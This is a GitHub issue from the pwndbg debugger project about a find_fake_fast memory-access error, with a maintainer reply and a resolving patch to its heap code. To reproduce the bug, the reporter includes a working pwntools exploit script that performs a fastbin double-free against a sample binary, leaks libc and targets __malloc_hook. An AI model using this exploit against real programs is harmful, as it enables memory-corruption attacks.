Repository: pwndbg/pwndbg

Issue:
Find_Fake_fast (malloc_chunk: Cannot access memory at address)
I am using Ubuntu 22.04, pwndbg latest build. The problem I am facing right now is whenever I try to use "find_fake_fast" it prompts an error. 

<img src="https://i.imgur.com/RzYCRAP.png" alt="img_1">


Release 2022.01.05 and 2022.08.30 (https://github.com/pwndbg/pwndbg/releases/tag/2022.01.05) working fine 

<img src="https://i.imgur.com/oKwFVda.png" alt="img_2">




Discussion:
Hi, I can't reproduce this. Do you have a link to the binary you're testing somewhere?

Also, it would help if you could run `set exception-verbose on` and then trigger that error, so we can see the full stack trace.
Verbose :
<img src="https://i.imgur.com/kR2bFE9.png" alt="img_2">



[bin.zip](https://github.com/pwndbg/pwndbg/files/9533024/bin.zip)

exploit script to recreate above error

```python
#!/usr/bin/python3
from pwn import *
import struct

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify GDB script here (breakpoints etc)
gdbscript = '''

continue
'''.format(**locals())

exe = './fastbin_dup'; elf = context.binary = ELF(exe, checksec=False);exe_rop = ROP(elf,checksec=False)
libc = elf.libc ; libc_rop = ROP(libc,checksec=False)

count = 0

def malloc(size,data):
    global count 
    io.sendlineafter(b">",b"1")
    io.sendlineafter(b"size: ",size)
    io.sendlineafter(b"data: ",data)
    count = count + 1
    return count - 1

def free(number):
    io.sendlineafter(b">",b"2")

    io.sendlineafter(b"index: ",str(number))



io = start()

io.recvuntil(b"@ ")
libc_puts = int(io.recvline().strip(b"\n"),16)
libc.address = libc_puts - libc.sym.puts
# leak puts address is used to find base of libc to defeat aslr


io.sendlineafter(b"Enter your username: ",b"Its Time to get shell")


A = malloc(b"104",b"A"*8)
B = malloc(b"104",b"B"*8)



free(A)  
free(B)
free(A) 


malloc(b"104",p64(libc.sym.__malloc_hook - 35 )) 

malloc(b"104",b"A")  
malloc(b"104",b"A") 

io.interactive()
```

Resolving patch:
diff --git a/pwndbg/heap/ptmalloc.py b/pwndbg/heap/ptmalloc.py
--- a/pwndbg/heap/ptmalloc.py
+++ b/pwndbg/heap/ptmalloc.py
@@ -307,7 +307,8 @@ def get_arena_for_chunk(self, addr):
         chunk = pwndbg.commands.heap.read_chunk(addr)
         _, _, nm = self.chunk_flags(chunk["size"])
         if nm:
-            r = self.get_arena(arena_addr=self.get_heap(addr)["ar_ptr"])
+            h = self.get_heap(addr)
+            r = self.get_arena(h["ar_ptr"]) if h else None
         else:
             r = self.main_arena
         return r
@@ -634,7 +635,13 @@ def malloc_par(self):
 
     def get_heap(self, addr):
         """Find & read the heap_info struct belonging to the chunk at 'addr'."""
-        return pwndbg.gdblib.memory.poi(self.heap_info, heap_for_ptr(addr))
+        try:
+            r = pwndbg.gdblib.memory.poi(self.heap_info, heap_for_ptr(addr))
+            r.fetch_lazy()
+        except gdb.MemoryError:
+            r = None
+
+        return r
 
     def get_arena(self, arena_addr=None):
         """Read a malloc_state struct from the specified address, default to


Test patch: